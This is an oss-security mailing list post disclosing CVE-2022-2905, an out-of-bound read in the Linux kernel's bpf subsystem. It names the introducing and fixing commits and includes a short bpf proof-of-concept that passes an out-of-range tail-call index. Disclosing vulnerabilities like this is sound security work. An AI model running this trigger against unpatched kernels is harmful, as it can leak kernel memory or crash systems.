[prev in list] [next in list] [prev in thread] [next in thread] 

List:       oss-security
Subject:    [oss-security] Re: Linux kernel slab-out-of-bound read in bpf
From:       Hsin-Wei Hung <hsinweih () uci ! edu>
Date:       2022-08-26 16:23:03
Message-ID: CABcoxUZd4kYgG6A=5U4PAA72Y84XiWaM=Kp2Pfu4vbOMU-BigA () mail ! gmail ! com
[Download RAW message or body]


CVE-2022-2905 has been assigned to this issue.

Thanks,
Hsin-Wei

On Fri, Aug 26, 2022 at 7:07 AM Hsin-Wei Hung <hsinweih@uci.edu> wrote:

> Hi,
>
> We found an issue in the bpf subsystem of the Linux kernel that can cause
> a slab-out-of-bound read. A bpf program calling bpf_tail_call with an index
> larger than the max_entries can potentially pass the verifier. After that,
> it will cause an out-of-bound access in the x86 JIT compiler. The root
> cause is that tnum_range over-approximates the range of concrete values.
>
> Affected kernel starts from v5.5 since commit, d2e4c1e6c294 ("bpf:
> Constant map key tracking for prog array pokes")
>
> It has been fixed in commit, a657182a5c51 ("bpf: Don't use tnum_range on
> array range checking for poke descriptors") in bpf/bpf.git.
>
> The following code is a bpf PoC that can trigger the bug.
>
> #include "/usr/local/include/vmlinux.h"
> #include "/usr/include/bpf/bpf_helpers.h"
>
> #define __uint(name, val) int (*name)[val]
> #define __type(name, val) typeof(val) *name
> #define __array(name, val) typeof(val) *name[]
>
> #define SEC(name) \
>         _Pragma("GCC diagnostic push")                                  \
>         _Pragma("GCC diagnostic ignored \"-Wignored-attributes\"")      \
>         __attribute__((section(name), used))                            \
>         _Pragma("GCC diagnostic pop")
>
> #define DEFINE_BPF_MAP(the_map, TypeOfMap, MapFlags, TypeOfKey,
> TypeOfValue, MaxEntries) \
>         struct {                                                        \
>             __uint(type, TypeOfMap);                                    \
>             __uint(map_flags, (MapFlags));                              \
>             __uint(max_entries, (MaxEntries));                          \
>             __type(key, TypeOfKey);                                     \
>             __type(value, TypeOfValue);                                 \
>         } the_map SEC(".maps");
>
> DEFINE_BPF_MAP(map_0, BPF_MAP_TYPE_PROG_ARRAY, 0, uint32_t, uint32_t, 36);
> SEC("cgroup/sock_create")
> int func(struct bpf_sock *ctx) {
>         int64_t v0 = 49;
>         bpf_tail_call(ctx, &map_0, v0);
>         return 0;
> }
> char _license[] SEC("license") = "GPL";
>
>
> Thanks,
> Hsin-Wei
>
>
>


[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic